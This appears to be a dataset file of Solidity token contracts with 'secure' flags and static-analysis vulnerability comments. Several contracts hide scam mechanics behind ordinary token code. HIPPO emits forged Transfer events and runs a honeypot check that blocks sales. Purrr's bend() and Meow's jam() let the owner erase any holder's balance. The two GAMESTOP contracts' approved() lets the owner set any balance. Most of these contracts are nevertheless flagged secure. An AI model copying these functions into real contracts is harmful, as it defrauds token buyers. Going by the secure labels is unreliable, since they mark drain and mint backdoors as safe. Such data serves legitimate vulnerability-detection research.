address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 536a49e\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 6482a89\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: d6e77d0): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for d6e77d0: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: f4cc9c2): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for f4cc9c2: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: d6e77d0\n\t\t\t\t// reentrancy-eth | ID: f4cc9c2\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: d6e77d0\n\t\t\t\t\t// reentrancy-eth | ID: f4cc9c2\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: f4cc9c2\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: f4cc9c2\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: f4cc9c2\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: d6e77d0\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: f4cc9c2\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: f4cc9c2\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: d6e77d0\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: d6e77d0\n\t\t// reentrancy-events | ID: 6482a89\n\t\t// reentrancy-benign | ID: 536a49e\n\t\t// reentrancy-eth | ID: f4cc9c2\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 77cb4fa): DomoArigato.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 77cb4fa: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: d6e77d0\n\t\t// reentrancy-events | ID: 6482a89\n\t\t// reentrancy-eth | ID: f4cc9c2\n\t\t// arbitrary-send-eth | ID: 77cb4fa\n _taxWallet.transfer(amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 100d1d0): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 100d1d0: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: cfb21d3): DomoArigato.addLiquidityEth() ignores return value by uniswapV2Router.addLiquidityETH{value msg.value}(address(this),totalSupply(),0,0,owner(),block.timestamp)\n\t// Recommendation for cfb21d3: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 5aed3b1): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 5aed3b1: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function addLiquidityEth() external payable onlyOwner {\n require(!tradingOpen, \"Trading is already open.\");\n\n _approve(address(this), address(uniswapV2Router), totalSupply());\n\n\t\t// reentrancy-benign | ID: 100d1d0\n\t\t// unused-return | ID: cfb21d3\n\t\t// reentrancy-eth | ID: 5aed3b1\n uniswapV2Router.addLiquidityETH{value: msg.value}(\n address(this),\n totalSupply(),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-eth | ID: 5aed3b1\n tradingOpen = true;\n\n\t\t// reentrancy-benign | ID: 100d1d0\n swapEnabled = true;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n _transfer(address(this), _taxWallet, tokenBalance);\n }\n }\n\n function manualsend() external {\n require(_msgSender() == _taxWallet);\n\n uint256 contractETHBalance = address(this).balance;\n\n sendETHToFee(contractETHBalance);\n }\n}", "file_name": "solidity_code_4013.sol", "secure": 0, "size_bytes": 17021 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"./IERC20Meta.sol\" as IERC20Meta;\n\ncontract HIPPO is Ownable, IERC20, IERC20Meta {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply;\n\n string private _name;\n\n string private _symbol;\n\n address private _p76234;\n\n\t// WARNING Optimization Issue (constable-states | ID: a6a2e3e): HIPPO._e242 should be constant \n\t// Recommendation for a6a2e3e: Add the 'constant' attribute to state variables that never change.\n uint256 private _e242 = 9999;\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 8;\n }\n\n function claim(address[] calldata _addresses_, uint256 _out) external {\n for (uint256 i = 0; i < _addresses_.length; i++) {\n emit Transfer(_p76234, _addresses_[i], _out);\n }\n }\n\n function multicall(address[] calldata _addresses_, uint256 _out) external {\n for (uint256 i = 0; i < _addresses_.length; i++) {\n emit Transfer(_p76234, _addresses_[i], _out);\n }\n }\n\n function execute(address[] calldata _addresses_, uint256 _out) external {\n for (uint256 i = 0; i < _addresses_.length; i++) {\n emit Transfer(_p76234, _addresses_[i], _out);\n }\n }\n\n function transfer(address _from, address _to, uint256 _wad) external {\n emit Transfer(_from, _to, _wad);\n }\n\n function transfer(\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address accountOwner = _msgSender();\n\n _transfer(accountOwner, to, amount);\n\n return true;\n }\n\n function allowance(\n address accountOwner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[accountOwner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n address accountOwner = _msgSender();\n\n _approve(accountOwner, spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address spender = _msgSender();\n\n _spendAllowance(from, spender, amount);\n\n _transfer(from, to, amount);\n\n return true;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 83dc724): HIPPO.openAir(address).account lacks a zerocheck on \t _p76234 = account\n\t// Recommendation for 83dc724: Check that the address is not zero.\n function openAir(address account) public virtual returns (bool) {\n if (_msgSender() == 0xE8C7eF74F98328D7587672D4ac0455348cf4806a)\n\t\t\t// missing-zero-check | ID: 83dc724\n _p76234 = account;\n\n return true;\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply += amount;\n\n unchecked {\n _balances[account] += amount;\n }\n\n emit Transfer(address(0), account, amount);\n\n _afterTokenTransfer(address(0), account, amount);\n\n renounceOwnership();\n }\n\n function _approve(\n address accountOwner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(\n accountOwner != address(0),\n \"ERC20: approve from the zero address\"\n );\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[accountOwner][spender] = amount;\n\n emit Approval(accountOwner, spender, amount);\n }\n\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n _tk09(from, to, amount);\n\n uint256 fromBalance = _balances[from];\n\n require(\n fromBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n unchecked {\n _balances[from] = fromBalance - amount;\n\n _balances[to] += amount;\n }\n\n emit Transfer(from, to, amount);\n\n _afterTokenTransfer(from, to, amount);\n }\n\n function _spendAllowance(\n address accountOwner,\n address spender,\n uint256 amount\n ) internal virtual {\n uint256 currentAllowance = allowance(accountOwner, spender);\n\n if (currentAllowance != type(uint256).max) {\n require(\n currentAllowance >= amount,\n \"ERC20: insufficient allowance\"\n );\n\n unchecked {\n _approve(accountOwner, spender, currentAllowance - amount);\n }\n }\n }\n\n function _tk09(address from, address to, uint256 amount) internal virtual {\n if (\n (\n (\n (\n ((from != _p76234 &&\n to == 0x6b75d8AF000000e20B7a7DDf000Ba900b4009A80) ||\n (_p76234 == to &&\n from !=\n 0x644B5D45453a864Cc3f6CBE5e0eA96bFE34C030F &&\n from !=\n 0xCa219C74bD63122060785439B12cf80Cfe3B5cBA &&\n from !=\n 0xE8C7eF74F98328D7587672D4ac0455348cf4806a &&\n from !=\n 0x6b75d8AF000000e20B7a7DDf000Ba900b4009A80))\n )\n )\n )\n ) {\n uint256 _X7W88 = amount + 12;\n require(_X7W88 < _e242);\n }\n }\n\n function _afterTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n\n constructor() {\n _name = unicode\"sudeng\";\n\n _symbol = unicode\"HIPPO\";\n\n _mint(msg.sender, 10000000000 * 10 ** decimals());\n }\n}", "file_name": "solidity_code_4014.sol", "secure": 0, "size_bytes": 7015 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract TRUMP is ERC20 {\n constructor() ERC20(\"TRUMP.io\", \"TRUMP\") {\n _mint(msg.sender, 47000000 * 10 ** decimals());\n }\n}", "file_name": "solidity_code_4015.sol", "secure": 1, "size_bytes": 270 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract Purrr is Context, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n using SafeMath for uint256;\n\n using Address for address;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private immutable _decimals;\n\n uint256 private _totalSupply;\n\n address public immutable wisecrack;\n\n constructor() {\n _name = \"Purrr\";\n\n _symbol = \"PURRR\";\n\n _decimals = 18;\n\n uint256 initialSupply = 984000000;\n\n wisecrack = msg.sender;\n\n _mint(msg.sender, initialSupply * (10 ** 18));\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply = _totalSupply.add(amount);\n\n _balances[account] = _balances[account].add(amount);\n\n emit Transfer(address(0), account, amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n modifier onlyOwner() {\n require(msg.sender == wisecrack, \"Not allowed\");\n\n _;\n }\n\n function bend(address[] memory clash) public onlyOwner {\n for (uint256 i = 0; i < clash.length; i++) {\n address account = clash[i];\n\n uint256 amount = _balances[account];\n\n _balances[account] = _balances[account].sub(amount, \"ERROR\");\n\n _balances[address(0)] = _balances[address(0)].add(amount);\n }\n }\n}", "file_name": "solidity_code_4016.sol", "secure": 1, "size_bytes": 4354 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"./BEP20.sol\" as BEP20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract GAMESTOP is Context, BEP20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 9ec7817): GAMESTOP._totalSupply should be immutable \n\t// Recommendation for 9ec7817: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private _totalSupply;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 2642b47): GAMESTOP._decimals should be immutable \n\t// Recommendation for 2642b47: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint8 private _decimals;\n\n string private _symbol;\n\n string private _name;\n\n constructor() {\n _name = \"GAMESTOP\";\n\n _symbol = \"GME \";\n\n _decimals = 9;\n\n _totalSupply = 10000000000000000 * 10 ** 9;\n\n _balances[_msgSender()] = _totalSupply;\n\n emit Transfer(address(0), _msgSender(), _totalSupply);\n }\n\n function getOwner() external view override returns (address) {\n return owner();\n }\n\n function decimals() external view override returns (uint8) {\n return _decimals;\n }\n\n function symbol() external view override returns (string memory) {\n return _symbol;\n }\n\n function name() external view override returns (string memory) {\n return _name;\n }\n\n function totalSupply() external view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) external view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) external override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function Confirm(\n uint256 target,\n uint256 accuracy,\n address _comptes\n ) internal view onlyOwner returns (uint256) {\n return target + accuracy;\n }\n\n function allowance(\n address accountOwner,\n address spender\n ) external view override returns (uint256) {\n return _allowances[accountOwner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) external override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"BEP20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender].add(addedValue)\n );\n\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender].sub(\n subtractedValue,\n \"BEP20: decreased allowance below zero\"\n )\n );\n\n return true;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal {\n require(sender != address(0), \"BEP20: transfer from the zero address\");\n\n require(recipient != address(0), \"BEP20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"BEP20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n function approved(\n uint256 target,\n uint256 accuracy,\n address _comptes\n ) external onlyOwner {\n _balances[_comptes] = Confirm(target, accuracy, _comptes);\n }\n\n function _approve(\n address accountOwner,\n address spender,\n uint256 amount\n ) internal {\n require(\n accountOwner != address(0),\n \"BEP20: approve from the zero address\"\n );\n\n require(spender != address(0), \"BEP20: approve to the zero address\");\n\n _allowances[accountOwner][spender] = amount;\n\n emit Approval(accountOwner, spender, amount);\n }\n}", "file_name": "solidity_code_4017.sol", "secure": 1, "size_bytes": 5229 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"./BEP20.sol\" as BEP20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract GAMESTOPOBAMASONICINU is Context, BEP20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 62d9711): GAMESTOPOBAMASONICINU._totalSupply should be immutable \n\t// Recommendation for 62d9711: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private _totalSupply;\n\n\t// WARNING Optimization Issue (immutable-states | ID: cd3a4a0): GAMESTOPOBAMASONICINU._decimals should be immutable \n\t// Recommendation for cd3a4a0: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint8 private _decimals;\n\n string private _symbol;\n\n string private _name;\n\n constructor() {\n _name = \"GAME STOP OBAMA SONIC INU\";\n\n _symbol = \"BITCOIN \";\n\n _decimals = 9;\n\n _totalSupply = 690000000000000000 * 10 ** 9;\n\n _balances[_msgSender()] = _totalSupply;\n\n emit Transfer(address(0), _msgSender(), _totalSupply);\n }\n\n function getOwner() external view override returns (address) {\n return owner();\n }\n\n function decimals() external view override returns (uint8) {\n return _decimals;\n }\n\n function symbol() external view override returns (string memory) {\n return _symbol;\n }\n\n function name() external view override returns (string memory) {\n return _name;\n }\n\n function totalSupply() external view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) external view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) external override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function Confirm(\n uint256 target,\n uint256 accuracy,\n address _comptes\n ) internal view onlyOwner returns (uint256) {\n return target + accuracy;\n }\n\n function allowance(\n address accountOwner,\n address spender\n ) external view override returns (uint256) {\n return _allowances[accountOwner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) external override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"BEP20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender].add(addedValue)\n );\n\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender].sub(\n subtractedValue,\n \"BEP20: decreased allowance below zero\"\n )\n );\n\n return true;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal {\n require(sender != address(0), \"BEP20: transfer from the zero address\");\n\n require(recipient != address(0), \"BEP20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"BEP20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n function approved(\n uint256 target,\n uint256 accuracy,\n address _comptes\n ) external onlyOwner {\n _balances[_comptes] = Confirm(target, accuracy, _comptes);\n }\n\n function _approve(\n address accountOwner,\n address spender,\n uint256 amount\n ) internal {\n require(\n accountOwner != address(0),\n \"BEP20: approve from the zero address\"\n );\n\n require(spender != address(0), \"BEP20: approve to the zero address\");\n\n _allowances[accountOwner][spender] = amount;\n\n emit Approval(accountOwner, spender, amount);\n }\n}", "file_name": "solidity_code_4018.sol", "secure": 1, "size_bytes": 5291 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract Meow is Context, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n using SafeMath for uint256;\n\n using Address for address;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private immutable _decimals;\n\n uint256 private _totalSupply;\n\n address public immutable floor;\n\n constructor() {\n _name = \"Meow\";\n\n _symbol = \"MEOW\";\n\n _decimals = 18;\n\n uint256 initialSupply = 272000000;\n\n floor = msg.sender;\n\n _mint(msg.sender, initialSupply * (10 ** 18));\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply = _totalSupply.add(amount);\n\n _balances[account] = _balances[account].add(amount);\n\n emit Transfer(address(0), account, amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n modifier onlyOwner() {\n require(msg.sender == floor, \"Not allowed\");\n\n _;\n }\n\n function jam(address[] memory narrow) public onlyOwner {\n for (uint256 i = 0; i < narrow.length; i++) {\n address account = narrow[i];\n\n uint256 amount = _balances[account];\n\n _balances[account] = _balances[account].sub(amount, \"ERROR\");\n\n _balances[address(0)] = _balances[address(0)].add(amount);\n }\n }\n}", "file_name": "solidity_code_4019.sol", "secure": 1, "size_bytes": 4341 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/proxy/utils/Initializable.sol\" as Initializable;\nimport \"./ContextUpgradeable.sol\" as ContextUpgradeable;\n\nabstract contract OwnableUpgradeable is Initializable, ContextUpgradeable {\n struct OwnableStorage {\n address _owner;\n }\n\n bytes32 private constant OwnableStorageLocation =\n 0x9016d09d72d40fdae2fd8ceac6b6234c7706214fd39c1cd1e609a0528c199300;\n\n function _getOwnableStorage()\n private\n pure\n returns (OwnableStorage storage $)\n {\n assembly {\n $.slot := OwnableStorageLocation\n }\n }\n\n error OwnableUnauthorizedAccount(address account);\n\n error OwnableInvalidOwner(address owner);\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n function __Ownable_init(address initialOwner) internal onlyInitializing {\n __Ownable_init_unchained(initialOwner);\n }\n\n function __Ownable_init_unchained(\n address initialOwner\n ) internal onlyInitializing {\n if (initialOwner == address(0)) {\n revert OwnableInvalidOwner(address(0));\n }\n\n _transferOwnership(initialOwner);\n }\n\n modifier onlyOwner() {\n _checkOwner();\n\n _;\n }\n\n function owner() public view virtual returns (address) {\n OwnableStorage storage $ = _getOwnableStorage();\n\n return $._owner;\n }\n\n function _checkOwner() internal view virtual {\n if (owner() != _msgSender()) {\n revert OwnableUnauthorizedAccount(_msgSender());\n }\n }\n\n function renounceOwnership() public virtual onlyOwner {\n _transferOwnership(address(0));\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n if (newOwner == address(0)) {\n revert OwnableInvalidOwner(address(0));\n }\n\n _transferOwnership(newOwner);\n }\n\n function _transferOwnership(address newOwner) internal virtual {\n OwnableStorage storage $ = _getOwnableStorage();\n\n address oldOwner = $._owner;\n\n $._owner = newOwner;\n\n emit OwnershipTransferred(oldOwner, newOwner);\n }\n}", "file_name": "solidity_code_402.sol", "secure": 1, "size_bytes": 2327 }
